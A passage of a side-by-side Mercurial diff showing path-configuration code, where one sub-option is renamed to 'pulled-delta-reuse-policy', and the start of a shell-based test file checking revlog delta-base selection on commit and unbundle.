571 msg %= (path_count, action)
571 msg %= (path_count, action)
572 else:
572 else:
573 msg = _(b"path points to %d urls while %s only supports one: %s")
573 msg = _(b"path points to %d urls while %s only supports one: %s")
574 msg %= (path_count, action, source)
574 msg %= (path_count, action, source)
575 raise error.Abort(msg)
575 raise error.Abort(msg)
576 return pull_paths[0]
576 return pull_paths[0]
577
577
578
578
579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
580 """return a unique `(url, branch)` or abort if multiple are found
580 """return a unique `(url, branch)` or abort if multiple are found
581
581
582 See `get_unique_pull_path_obj` for details.
582 See `get_unique_pull_path_obj` for details.
583 """
583 """
584 path = get_unique_pull_path_obj(action, ui, source=source)
584 path = get_unique_pull_path_obj(action, ui, source=source)
585 return parseurl(path.rawloc, default_branches)
585 return parseurl(path.rawloc, default_branches)
586
586
587
587
588 def get_clone_path_obj(ui, source):
588 def get_clone_path_obj(ui, source):
589 """return the `(origsource, url, branch)` selected as clone source"""
589 """return the `(origsource, url, branch)` selected as clone source"""
590 if source == b'':
590 if source == b'':
591 return None
591 return None
592 return get_unique_pull_path_obj(b'clone', ui, source=source)
592 return get_unique_pull_path_obj(b'clone', ui, source=source)
593
593
594
594
595 def get_clone_path(ui, source, default_branches=None):
595 def get_clone_path(ui, source, default_branches=None):
596 """return the `(origsource, url, branch)` selected as clone source"""
596 """return the `(origsource, url, branch)` selected as clone source"""
597 path = get_clone_path_obj(ui, source)
597 path = get_clone_path_obj(ui, source)
598 if path is None:
598 if path is None:
599 return (b'', b'', (None, default_branches))
599 return (b'', b'', (None, default_branches))
600 if default_branches is None:
600 if default_branches is None:
601 default_branches = []
601 default_branches = []
602 branches = (path.branch, default_branches)
602 branches = (path.branch, default_branches)
603 return path.rawloc, path.loc, branches
603 return path.rawloc, path.loc, branches
604
604
605
605
606 def parseurl(path, branches=None):
606 def parseurl(path, branches=None):
607 '''parse url#branch, returning (url, (branch, branches))'''
607 '''parse url#branch, returning (url, (branch, branches))'''
608 u = url(path)
608 u = url(path)
609 branch = None
609 branch = None
610 if u.fragment:
610 if u.fragment:
611 branch = u.fragment
611 branch = u.fragment
612 u.fragment = None
612 u.fragment = None
613 return bytes(u), (branch, branches or [])
613 return bytes(u), (branch, branches or [])
614
614
615
615
616 class paths(dict):
616 class paths(dict):
617 """Represents a collection of paths and their configs.
617 """Represents a collection of paths and their configs.
618
618
619 Data is initially derived from ui instances and the config files they have
619 Data is initially derived from ui instances and the config files they have
620 loaded.
620 loaded.
621 """
621 """
622
622
623 def __init__(self, ui):
623 def __init__(self, ui):
624 dict.__init__(self)
624 dict.__init__(self)
625
625
626 home_path = os.path.expanduser(b'~')
626 home_path = os.path.expanduser(b'~')
627
627
628 for name, value in ui.configitems(b'paths', ignoresub=True):
628 for name, value in ui.configitems(b'paths', ignoresub=True):
629 # No location is the same as not existing.
629 # No location is the same as not existing.
630 if not value:
630 if not value:
631 continue
631 continue
632 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 _value, sub_opts = ui.configsuboptions(b'paths', name)
633 s = ui.configsource(b'paths', name)
633 s = ui.configsource(b'paths', name)
634 root_key = (name, value, s)
634 root_key = (name, value, s)
635 root = ui._path_to_root.get(root_key, home_path)
635 root = ui._path_to_root.get(root_key, home_path)
636
636
637 multi_url = sub_opts.get(b'multi-urls')
637 multi_url = sub_opts.get(b'multi-urls')
638 if multi_url is not None and stringutil.parsebool(multi_url):
638 if multi_url is not None and stringutil.parsebool(multi_url):
639 base_locs = stringutil.parselist(value)
639 base_locs = stringutil.parselist(value)
640 else:
640 else:
641 base_locs = [value]
641 base_locs = [value]
642
642
643 paths = []
643 paths = []
644 for loc in base_locs:
644 for loc in base_locs:
645 loc = os.path.expandvars(loc)
645 loc = os.path.expandvars(loc)
646 loc = os.path.expanduser(loc)
646 loc = os.path.expanduser(loc)
647 if not hasscheme(loc) and not os.path.isabs(loc):
647 if not hasscheme(loc) and not os.path.isabs(loc):
648 loc = os.path.normpath(os.path.join(root, loc))
648 loc = os.path.normpath(os.path.join(root, loc))
649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
650 paths.append(p)
650 paths.append(p)
651 self[name] = paths
651 self[name] = paths
652
652
653 for name, old_paths in sorted(self.items()):
653 for name, old_paths in sorted(self.items()):
654 new_paths = []
654 new_paths = []
655 for p in old_paths:
655 for p in old_paths:
656 new_paths.extend(_chain_path(p, ui, self))
656 new_paths.extend(_chain_path(p, ui, self))
657 self[name] = new_paths
657 self[name] = new_paths
658
658
659
659
660 _pathsuboptions = {}
660 _pathsuboptions = {}
661
661
662
662
663 def pathsuboption(option, attr):
663 def pathsuboption(option, attr):
664 """Decorator used to declare a path sub-option.
664 """Decorator used to declare a path sub-option.
665
665
666 Arguments are the sub-option name and the attribute it should set on
666 Arguments are the sub-option name and the attribute it should set on
667 ``path`` instances.
667 ``path`` instances.
668
668
669 The decorated function will receive as arguments a ``ui`` instance,
669 The decorated function will receive as arguments a ``ui`` instance,
670 ``path`` instance, and the string value of this option from the config.
670 ``path`` instance, and the string value of this option from the config.
671 The function should return the value that will be set on the ``path``
671 The function should return the value that will be set on the ``path``
672 instance.
672 instance.
673
673
674 This decorator can be used to perform additional verification of
674 This decorator can be used to perform additional verification of
675 sub-options and to change the type of sub-options.
675 sub-options and to change the type of sub-options.
676 """
676 """
677
677
678 def register(func):
678 def register(func):
679 _pathsuboptions[option] = (attr, func)
679 _pathsuboptions[option] = (attr, func)
680 return func
680 return func
681
681
682 return register
682 return register
683
683
684
684
685 @pathsuboption(b'pushurl', b'_pushloc')
685 @pathsuboption(b'pushurl', b'_pushloc')
686 def pushurlpathoption(ui, path, value):
686 def pushurlpathoption(ui, path, value):
687 u = url(value)
687 u = url(value)
688 # Actually require a URL.
688 # Actually require a URL.
689 if not u.scheme:
689 if not u.scheme:
690 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
690 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
691 msg %= (path.name, value)
691 msg %= (path.name, value)
692 ui.warn(msg)
692 ui.warn(msg)
693 return None
693 return None
694
694
695 # Don't support the #foo syntax in the push URL to declare branch to
695 # Don't support the #foo syntax in the push URL to declare branch to
696 # push.
696 # push.
697 if u.fragment:
697 if u.fragment:
698 ui.warn(
698 ui.warn(
699 _(
699 _(
700 b'("#fragment" in paths.%s:pushurl not supported; '
700 b'("#fragment" in paths.%s:pushurl not supported; '
701 b'ignoring)\n'
701 b'ignoring)\n'
702 )
702 )
703 % path.name
703 % path.name
704 )
704 )
705 u.fragment = None
705 u.fragment = None
706
706
707 return bytes(u)
707 return bytes(u)
708
708
709
709
710 @pathsuboption(b'pushrev', b'pushrev')
710 @pathsuboption(b'pushrev', b'pushrev')
711 def pushrevpathoption(ui, path, value):
711 def pushrevpathoption(ui, path, value):
712 return value
712 return value
713
713
714
714
715 SUPPORTED_BOOKMARKS_MODES = {
715 SUPPORTED_BOOKMARKS_MODES = {
716 b'default',
716 b'default',
717 b'mirror',
717 b'mirror',
718 b'ignore',
718 b'ignore',
719 }
719 }
720
720
721
721
722 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
722 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
723 def bookmarks_mode_option(ui, path, value):
723 def bookmarks_mode_option(ui, path, value):
724 if value not in SUPPORTED_BOOKMARKS_MODES:
724 if value not in SUPPORTED_BOOKMARKS_MODES:
725 path_name = path.name
725 path_name = path.name
726 if path_name is None:
726 if path_name is None:
727 # this is an "anonymous" path, config comes from the global one
727 # this is an "anonymous" path, config comes from the global one
728 path_name = b'*'
728 path_name = b'*'
729 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
729 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
730 msg %= (path_name, value)
730 msg %= (path_name, value)
731 ui.warn(msg)
731 ui.warn(msg)
732 if value == b'default':
732 if value == b'default':
733 value = None
733 value = None
734 return value
734 return value
735
735
736
736
737 DELTA_REUSE_POLICIES = {
737 DELTA_REUSE_POLICIES = {
738 b'default': None,
738 b'default': None,
739 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
739 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
740 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
740 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
741 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
741 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
742 }
742 }
743
743
744
744
745 @pathsuboption(b'delta-reuse-policy', b'delta_reuse_policy')
745 @pathsuboption(b'pulled-delta-reuse-policy', b'delta_reuse_policy')
746 def delta_reuse_policy(ui, path, value):
746 def delta_reuse_policy(ui, path, value):
747 if value not in DELTA_REUSE_POLICIES:
747 if value not in DELTA_REUSE_POLICIES:
748 path_name = path.name
748 path_name = path.name
749 if path_name is None:
749 if path_name is None:
750 # this is an "anonymous" path, config comes from the global one
750 # this is an "anonymous" path, config comes from the global one
751 path_name = b'*'
751 path_name = b'*'
752 msg = _(b'(paths.%s:delta-reuse-policy has unknown value: "%s")\n')
752 msg = _(
753 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
754 )
753 msg %= (path_name, value)
755 msg %= (path_name, value)
754 ui.warn(msg)
756 ui.warn(msg)
755 return DELTA_REUSE_POLICIES.get(value)
757 return DELTA_REUSE_POLICIES.get(value)
756
758
757
759
758 @pathsuboption(b'multi-urls', b'multi_urls')
760 @pathsuboption(b'multi-urls', b'multi_urls')
759 def multiurls_pathoption(ui, path, value):
761 def multiurls_pathoption(ui, path, value):
760 res = stringutil.parsebool(value)
762 res = stringutil.parsebool(value)
761 if res is None:
763 if res is None:
762 ui.warn(
764 ui.warn(
763 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
765 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
764 )
766 )
765 res = False
767 res = False
766 return res
768 return res
767
769
768
770
769 def _chain_path(base_path, ui, paths):
771 def _chain_path(base_path, ui, paths):
770 """return the result of "path://" logic applied on a given path"""
772 """return the result of "path://" logic applied on a given path"""
771 new_paths = []
773 new_paths = []
772 if base_path.url.scheme != b'path':
774 if base_path.url.scheme != b'path':
773 new_paths.append(base_path)
775 new_paths.append(base_path)
774 else:
776 else:
775 assert base_path.url.path is None
777 assert base_path.url.path is None
776 sub_paths = paths.get(base_path.url.host)
778 sub_paths = paths.get(base_path.url.host)
777 if sub_paths is None:
779 if sub_paths is None:
778 m = _(b'cannot use `%s`, "%s" is not a known path')
780 m = _(b'cannot use `%s`, "%s" is not a known path')
779 m %= (base_path.rawloc, base_path.url.host)
781 m %= (base_path.rawloc, base_path.url.host)
780 raise error.Abort(m)
782 raise error.Abort(m)
781 for subpath in sub_paths:
783 for subpath in sub_paths:
782 path = base_path.copy()
784 path = base_path.copy()
783 if subpath.raw_url.scheme == b'path':
785 if subpath.raw_url.scheme == b'path':
784 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
786 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
785 m %= (path.rawloc, path.url.host)
787 m %= (path.rawloc, path.url.host)
786 raise error.Abort(m)
788 raise error.Abort(m)
787 path.url = subpath.url
789 path.url = subpath.url
788 path.rawloc = subpath.rawloc
790 path.rawloc = subpath.rawloc
789 path.loc = subpath.loc
791 path.loc = subpath.loc
790 if path.branch is None:
792 if path.branch is None:
791 path.branch = subpath.branch
793 path.branch = subpath.branch
792 else:
794 else:
793 base = path.rawloc.rsplit(b'#', 1)[0]
795 base = path.rawloc.rsplit(b'#', 1)[0]
794 path.rawloc = b'%s#%s' % (base, path.branch)
796 path.rawloc = b'%s#%s' % (base, path.branch)
795 suboptions = subpath._all_sub_opts.copy()
797 suboptions = subpath._all_sub_opts.copy()
796 suboptions.update(path._own_sub_opts)
798 suboptions.update(path._own_sub_opts)
797 path._apply_suboptions(ui, suboptions)
799 path._apply_suboptions(ui, suboptions)
798 new_paths.append(path)
800 new_paths.append(path)
799 return new_paths
801 return new_paths
800
802
801
803
802 class path:
804 class path:
803 """Represents an individual path and its configuration."""
805 """Represents an individual path and its configuration."""
804
806
805 def __init__(
807 def __init__(
806 self,
808 self,
807 ui=None,
809 ui=None,
808 name=None,
810 name=None,
809 rawloc=None,
811 rawloc=None,
810 suboptions=None,
812 suboptions=None,
811 validate_path=True,
813 validate_path=True,
812 ):
814 ):
813 """Construct a path from its config options.
815 """Construct a path from its config options.
814
816
815 ``ui`` is the ``ui`` instance the path is coming from.
817 ``ui`` is the ``ui`` instance the path is coming from.
816 ``name`` is the symbolic name of the path.
818 ``name`` is the symbolic name of the path.
817 ``rawloc`` is the raw location, as defined in the config.
819 ``rawloc`` is the raw location, as defined in the config.
818 ``_pushloc`` is the raw locations pushes should be made to.
820 ``_pushloc`` is the raw locations pushes should be made to.
819 (see the `get_push_variant` method)
821 (see the `get_push_variant` method)
820
822
821 If ``name`` is not defined, we require that the location be a) a local
823 If ``name`` is not defined, we require that the location be a) a local
822 filesystem path with a .hg directory or b) a URL. If not,
824 filesystem path with a .hg directory or b) a URL. If not,
823 ``ValueError`` is raised.
825 ``ValueError`` is raised.
824 """
826 """
825 if ui is None:
827 if ui is None:
826 # used in copy
828 # used in copy
827 assert name is None
829 assert name is None
828 assert rawloc is None
830 assert rawloc is None
829 assert suboptions is None
831 assert suboptions is None
830 return
832 return
831
833
832 if not rawloc:
834 if not rawloc:
833 raise ValueError(b'rawloc must be defined')
835 raise ValueError(b'rawloc must be defined')
834
836
835 self.name = name
837 self.name = name
836
838
837 # set by path variant to point to their "non-push" version
839 # set by path variant to point to their "non-push" version
838 self.main_path = None
840 self.main_path = None
839 self._setup_url(rawloc)
841 self._setup_url(rawloc)
840
842
841 if validate_path:
843 if validate_path:
842 self._validate_path()
844 self._validate_path()
843
845
844 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
846 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
845 self._own_sub_opts = {}
847 self._own_sub_opts = {}
846 if suboptions is not None:
848 if suboptions is not None:
847 self._own_sub_opts = suboptions.copy()
849 self._own_sub_opts = suboptions.copy()
848 sub_opts.update(suboptions)
850 sub_opts.update(suboptions)
849 self._all_sub_opts = sub_opts.copy()
851 self._all_sub_opts = sub_opts.copy()
850
852
851 self._apply_suboptions(ui, sub_opts)
853 self._apply_suboptions(ui, sub_opts)
852
854
853 def _setup_url(self, rawloc):
855 def _setup_url(self, rawloc):
854 # Locations may define branches via syntax <base>#<branch>.
856 # Locations may define branches via syntax <base>#<branch>.
855 u = url(rawloc)
857 u = url(rawloc)
856 branch = None
858 branch = None
857 if u.fragment:
859 if u.fragment:
858 branch = u.fragment
860 branch = u.fragment
859 u.fragment = None
861 u.fragment = None
860
862
861 self.url = u
863 self.url = u
862 # the url from the config/command line before dealing with `path://`
864 # the url from the config/command line before dealing with `path://`
863 self.raw_url = u.copy()
865 self.raw_url = u.copy()
864 self.branch = branch
866 self.branch = branch
865
867
866 self.rawloc = rawloc
868 self.rawloc = rawloc
867 self.loc = b'%s' % u
869 self.loc = b'%s' % u
868
870
869 def copy(self, new_raw_location=None):
871 def copy(self, new_raw_location=None):
870 """make a copy of this path object
872 """make a copy of this path object
871
873
872 When `new_raw_location` is set, the new path will point to it.
874 When `new_raw_location` is set, the new path will point to it.
873 This is used by the scheme extension so expand the scheme.
875 This is used by the scheme extension so expand the scheme.
874 """
876 """
875 new = self.__class__()
877 new = self.__class__()
876 for k, v in self.__dict__.items():
878 for k, v in self.__dict__.items():
877 new_copy = getattr(v, 'copy', None)
879 new_copy = getattr(v, 'copy', None)
878 if new_copy is not None:
880 if new_copy is not None:
879 v = new_copy()
881 v = new_copy()
880 new.__dict__[k] = v
882 new.__dict__[k] = v
881 if new_raw_location is not None:
883 if new_raw_location is not None:
882 new._setup_url(new_raw_location)
884 new._setup_url(new_raw_location)
883 return new
885 return new
884
886
885 @property
887 @property
886 def is_push_variant(self):
888 def is_push_variant(self):
887 """is this a path variant to be used for pushing"""
889 """is this a path variant to be used for pushing"""
888 return self.main_path is not None
890 return self.main_path is not None
889
891
890 def get_push_variant(self):
892 def get_push_variant(self):
891 """get a "copy" of the path, but suitable for pushing
893 """get a "copy" of the path, but suitable for pushing
892
894
893 This means using the value of the `pushurl` option (if any) as the url.
895 This means using the value of the `pushurl` option (if any) as the url.
894
896
895 The original path is available in the `main_path` attribute.
897 The original path is available in the `main_path` attribute.
896 """
898 """
897 if self.main_path:
899 if self.main_path:
898 return self
900 return self
899 new = self.copy()
901 new = self.copy()
900 new.main_path = self
902 new.main_path = self
901 if self._pushloc:
903 if self._pushloc:
902 new._setup_url(self._pushloc)
904 new._setup_url(self._pushloc)
903 return new
905 return new
904
906
905 def pushloc(self):
907 def pushloc(self):
906 """compatibility layer for the deprecated attributes"""
908 """compatibility layer for the deprecated attributes"""
907 from .. import util # avoid a cycle
909 from .. import util # avoid a cycle
908
910
909 msg = "don't use path.pushloc, use path.get_push_variant()"
911 msg = "don't use path.pushloc, use path.get_push_variant()"
910 util.nouideprecwarn(msg, b"6.5")
912 util.nouideprecwarn(msg, b"6.5")
911 return self._pushloc
913 return self._pushloc
912
914
913 def _validate_path(self):
915 def _validate_path(self):
914 # When given a raw location but not a symbolic name, validate the
916 # When given a raw location but not a symbolic name, validate the
915 # location is valid.
917 # location is valid.
916 if (
918 if (
917 not self.name
919 not self.name
918 and not self.url.scheme
920 and not self.url.scheme
919 and not self._isvalidlocalpath(self.loc)
921 and not self._isvalidlocalpath(self.loc)
920 ):
922 ):
921 raise ValueError(
923 raise ValueError(
922 b'location is not a URL or path to a local '
924 b'location is not a URL or path to a local '
923 b'repo: %s' % self.rawloc
925 b'repo: %s' % self.rawloc
924 )
926 )
925
927
926 def _apply_suboptions(self, ui, sub_options):
928 def _apply_suboptions(self, ui, sub_options):
927 # Now process the sub-options. If a sub-option is registered, its
929 # Now process the sub-options. If a sub-option is registered, its
928 # attribute will always be present. The value will be None if there
930 # attribute will always be present. The value will be None if there
929 # was no valid sub-option.
931 # was no valid sub-option.
930 for suboption, (attr, func) in _pathsuboptions.items():
932 for suboption, (attr, func) in _pathsuboptions.items():
931 if suboption not in sub_options:
933 if suboption not in sub_options:
932 setattr(self, attr, None)
934 setattr(self, attr, None)
933 continue
935 continue
934
936
935 value = func(ui, self, sub_options[suboption])
937 value = func(ui, self, sub_options[suboption])
936 setattr(self, attr, value)
938 setattr(self, attr, value)
937
939
938 def _isvalidlocalpath(self, path):
940 def _isvalidlocalpath(self, path):
939 """Returns True if the given path is a potentially valid repository.
941 """Returns True if the given path is a potentially valid repository.
940 This is its own function so that extensions can change the definition of
942 This is its own function so that extensions can change the definition of
941 'valid' in this case (like when pulling from a git repo into a hg
943 'valid' in this case (like when pulling from a git repo into a hg
942 one)."""
944 one)."""
943 try:
945 try:
944 return os.path.isdir(os.path.join(path, b'.hg'))
946 return os.path.isdir(os.path.join(path, b'.hg'))
945 # Python 2 may return TypeError. Python 3, ValueError.
947 # Python 2 may return TypeError. Python 3, ValueError.
946 except (TypeError, ValueError):
948 except (TypeError, ValueError):
947 return False
949 return False
948
950
949 @property
951 @property
950 def suboptions(self):
952 def suboptions(self):
951 """Return sub-options and their values for this path.
953 """Return sub-options and their values for this path.
952
954
953 This is intended to be used for presentation purposes.
955 This is intended to be used for presentation purposes.
954 """
956 """
955 d = {}
957 d = {}
956 for subopt, (attr, _func) in _pathsuboptions.items():
958 for subopt, (attr, _func) in _pathsuboptions.items():
957 value = getattr(self, attr)
959 value = getattr(self, attr)
958 if value is not None:
960 if value is not None:
959 d[subopt] = value
961 d[subopt] = value
960 return d
962 return d
@@ -1,333 +1,333 b''
1 ==========================================================
1 ==========================================================
2 Test various things around delta computation within revlog
2 Test various things around delta computation within revlog
3 ==========================================================
3 ==========================================================
4
4
5
5
6 basic setup
6 basic setup
7 -----------
7 -----------
8
8
9 $ cat << EOF >> $HGRCPATH
9 $ cat << EOF >> $HGRCPATH
10 > [debug]
10 > [debug]
11 > revlog.debug-delta=yes
11 > revlog.debug-delta=yes
12 > EOF
12 > EOF
13 $ cat << EOF >> sha256line.py
13 $ cat << EOF >> sha256line.py
14 > # a way to quickly produce file of significant size and poorly compressable content.
14 > # a way to quickly produce file of significant size and poorly compressable content.
15 > import hashlib
15 > import hashlib
16 > import sys
16 > import sys
17 > for line in sys.stdin:
17 > for line in sys.stdin:
18 > print(hashlib.sha256(line.encode('utf8')).hexdigest())
18 > print(hashlib.sha256(line.encode('utf8')).hexdigest())
19 > EOF
19 > EOF
20
20
21 $ hg init base-repo
21 $ hg init base-repo
22 $ cd base-repo
22 $ cd base-repo
23
23
24 create a "large" file
24 create a "large" file
25
25
26 $ $TESTDIR/seq.py 1000 | $PYTHON $TESTTMP/sha256line.py > my-file.txt
26 $ $TESTDIR/seq.py 1000 | $PYTHON $TESTTMP/sha256line.py > my-file.txt
27 $ hg add my-file.txt
27 $ hg add my-file.txt
28 $ hg commit -m initial-commit
28 $ hg commit -m initial-commit
29 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
29 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
30 DBG-DELTAS: MANIFESTLOG: * (glob)
30 DBG-DELTAS: MANIFESTLOG: * (glob)
31 DBG-DELTAS: CHANGELOG: * (glob)
31 DBG-DELTAS: CHANGELOG: * (glob)
32
32
33 Add more change at the end of the file
33 Add more change at the end of the file
34
34
35 $ $TESTDIR/seq.py 1001 1200 | $PYTHON $TESTTMP/sha256line.py >> my-file.txt
35 $ $TESTDIR/seq.py 1001 1200 | $PYTHON $TESTTMP/sha256line.py >> my-file.txt
36 $ hg commit -m "large-change"
36 $ hg commit -m "large-change"
37 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
37 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
38 DBG-DELTAS: MANIFESTLOG: * (glob)
38 DBG-DELTAS: MANIFESTLOG: * (glob)
39 DBG-DELTAS: CHANGELOG: * (glob)
39 DBG-DELTAS: CHANGELOG: * (glob)
40
40
41 Add small change at the start
41 Add small change at the start
42
42
43 $ hg up 'desc("initial-commit")' --quiet
43 $ hg up 'desc("initial-commit")' --quiet
44 $ mv my-file.txt foo
44 $ mv my-file.txt foo
45 $ echo "small change at the start" > my-file.txt
45 $ echo "small change at the start" > my-file.txt
46 $ cat foo >> my-file.txt
46 $ cat foo >> my-file.txt
47 $ rm foo
47 $ rm foo
48 $ hg commit -m "small-change"
48 $ hg commit -m "small-change"
49 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
49 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
50 DBG-DELTAS: MANIFESTLOG: * (glob)
50 DBG-DELTAS: MANIFESTLOG: * (glob)
51 DBG-DELTAS: CHANGELOG: * (glob)
51 DBG-DELTAS: CHANGELOG: * (glob)
52 created new head
52 created new head
53
53
54
54
55 $ hg log -r 'head()' -T '{node}\n' >> ../base-heads.nodes
55 $ hg log -r 'head()' -T '{node}\n' >> ../base-heads.nodes
56 $ hg log -r 'desc("initial-commit")' -T '{node}\n' >> ../initial.node
56 $ hg log -r 'desc("initial-commit")' -T '{node}\n' >> ../initial.node
57 $ hg log -r 'desc("small-change")' -T '{node}\n' >> ../small.node
57 $ hg log -r 'desc("small-change")' -T '{node}\n' >> ../small.node
58 $ hg log -r 'desc("large-change")' -T '{node}\n' >> ../large.node
58 $ hg log -r 'desc("large-change")' -T '{node}\n' >> ../large.node
59 $ cd ..
59 $ cd ..
60
60
61 Check delta find policy and result for merge on commit
61 Check delta find policy and result for merge on commit
62 ======================================================
62 ======================================================
63
63
64 Check that delta of merge pick best of the two parents
64 Check that delta of merge pick best of the two parents
65 ------------------------------------------------------
65 ------------------------------------------------------
66
66
67 As we check against both parents, the one with the largest change should
67 As we check against both parents, the one with the largest change should
68 produce the smallest delta and be picked.
68 produce the smallest delta and be picked.
69
69
70 $ hg clone base-repo test-parents --quiet
70 $ hg clone base-repo test-parents --quiet
71 $ hg -R test-parents update 'nodefromfile("small.node")' --quiet
71 $ hg -R test-parents update 'nodefromfile("small.node")' --quiet
72 $ hg -R test-parents merge 'nodefromfile("large.node")' --quiet
72 $ hg -R test-parents merge 'nodefromfile("large.node")' --quiet
73
73
74 The delta base is the "large" revision as it produce a smaller delta.
74 The delta base is the "large" revision as it produce a smaller delta.
75
75
76 $ hg -R test-parents commit -m "merge from small change"
76 $ hg -R test-parents commit -m "merge from small change"
77 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
77 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
78 DBG-DELTAS: MANIFESTLOG: * (glob)
78 DBG-DELTAS: MANIFESTLOG: * (glob)
79 DBG-DELTAS: CHANGELOG: * (glob)
79 DBG-DELTAS: CHANGELOG: * (glob)
80
80
81 Check that the behavior tested above can we disabled
81 Check that the behavior tested above can we disabled
82 ----------------------------------------------------
82 ----------------------------------------------------
83
83
84 We disable the checking of both parent at the same time. The `small` change,
84 We disable the checking of both parent at the same time. The `small` change,
85 that produce a less optimal delta, should be picked first as it is "closer" to
85 that produce a less optimal delta, should be picked first as it is "closer" to
86 the new commit.
86 the new commit.
87
87
88 $ hg clone base-repo test-no-parents --quiet
88 $ hg clone base-repo test-no-parents --quiet
89 $ hg -R test-no-parents update 'nodefromfile("small.node")' --quiet
89 $ hg -R test-no-parents update 'nodefromfile("small.node")' --quiet
90 $ hg -R test-no-parents merge 'nodefromfile("large.node")' --quiet
90 $ hg -R test-no-parents merge 'nodefromfile("large.node")' --quiet
91
91
92 The delta base is the "large" revision as it produce a smaller delta.
92 The delta base is the "large" revision as it produce a smaller delta.
93
93
94 $ hg -R test-no-parents commit -m "merge from small change" \
94 $ hg -R test-no-parents commit -m "merge from small change" \
95 > --config storage.revlog.optimize-delta-parent-choice=no
95 > --config storage.revlog.optimize-delta-parent-choice=no
96 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
96 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
97 DBG-DELTAS: MANIFESTLOG: * (glob)
97 DBG-DELTAS: MANIFESTLOG: * (glob)
98 DBG-DELTAS: CHANGELOG: * (glob)
98 DBG-DELTAS: CHANGELOG: * (glob)
99
99
100
100
101 Check delta-find policy and result when unbundling
101 Check delta-find policy and result when unbundling
102 ==================================================
102 ==================================================
103
103
104 Build a bundle with all delta built against p1
104 Build a bundle with all delta built against p1
105
105
106 $ hg bundle -R test-parents --all --config devel.bundle.delta=p1 all-p1.hg
106 $ hg bundle -R test-parents --all --config devel.bundle.delta=p1 all-p1.hg
107 4 changesets found
107 4 changesets found
108
108
109 Default policy of trusting delta from the bundle
109 Default policy of trusting delta from the bundle
110 ------------------------------------------------
110 ------------------------------------------------
111
111
112 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
112 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
113 strusting in-bundle delta is faster to apply.
113 strusting in-bundle delta is faster to apply.
114
114
115 $ hg init bundle-default
115 $ hg init bundle-default
116 $ hg -R bundle-default unbundle all-p1.hg --quiet
116 $ hg -R bundle-default unbundle all-p1.hg --quiet
117 DBG-DELTAS: CHANGELOG: * (glob)
117 DBG-DELTAS: CHANGELOG: * (glob)
118 DBG-DELTAS: CHANGELOG: * (glob)
118 DBG-DELTAS: CHANGELOG: * (glob)
119 DBG-DELTAS: CHANGELOG: * (glob)
119 DBG-DELTAS: CHANGELOG: * (glob)
120 DBG-DELTAS: CHANGELOG: * (glob)
120 DBG-DELTAS: CHANGELOG: * (glob)
121 DBG-DELTAS: MANIFESTLOG: * (glob)
121 DBG-DELTAS: MANIFESTLOG: * (glob)
122 DBG-DELTAS: MANIFESTLOG: * (glob)
122 DBG-DELTAS: MANIFESTLOG: * (glob)
123 DBG-DELTAS: MANIFESTLOG: * (glob)
123 DBG-DELTAS: MANIFESTLOG: * (glob)
124 DBG-DELTAS: MANIFESTLOG: * (glob)
124 DBG-DELTAS: MANIFESTLOG: * (glob)
125 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
125 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
126 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
126 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
127 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
127 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
128 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
128 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
129
129
130 (confirm the file revision are in the same order, 2 should be smaller than 1)
130 (confirm the file revision are in the same order, 2 should be smaller than 1)
131
131
132 $ hg -R bundle-default debugdata my-file.txt 2 | wc -l
132 $ hg -R bundle-default debugdata my-file.txt 2 | wc -l
133 \s*1001 (re)
133 \s*1001 (re)
134 $ hg -R bundle-default debugdata my-file.txt 1 | wc -l
134 $ hg -R bundle-default debugdata my-file.txt 1 | wc -l
135 \s*1200 (re)
135 \s*1200 (re)
136
136
137 explicitly enabled
137 explicitly enabled
138 ------------------
138 ------------------
139
139
140 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
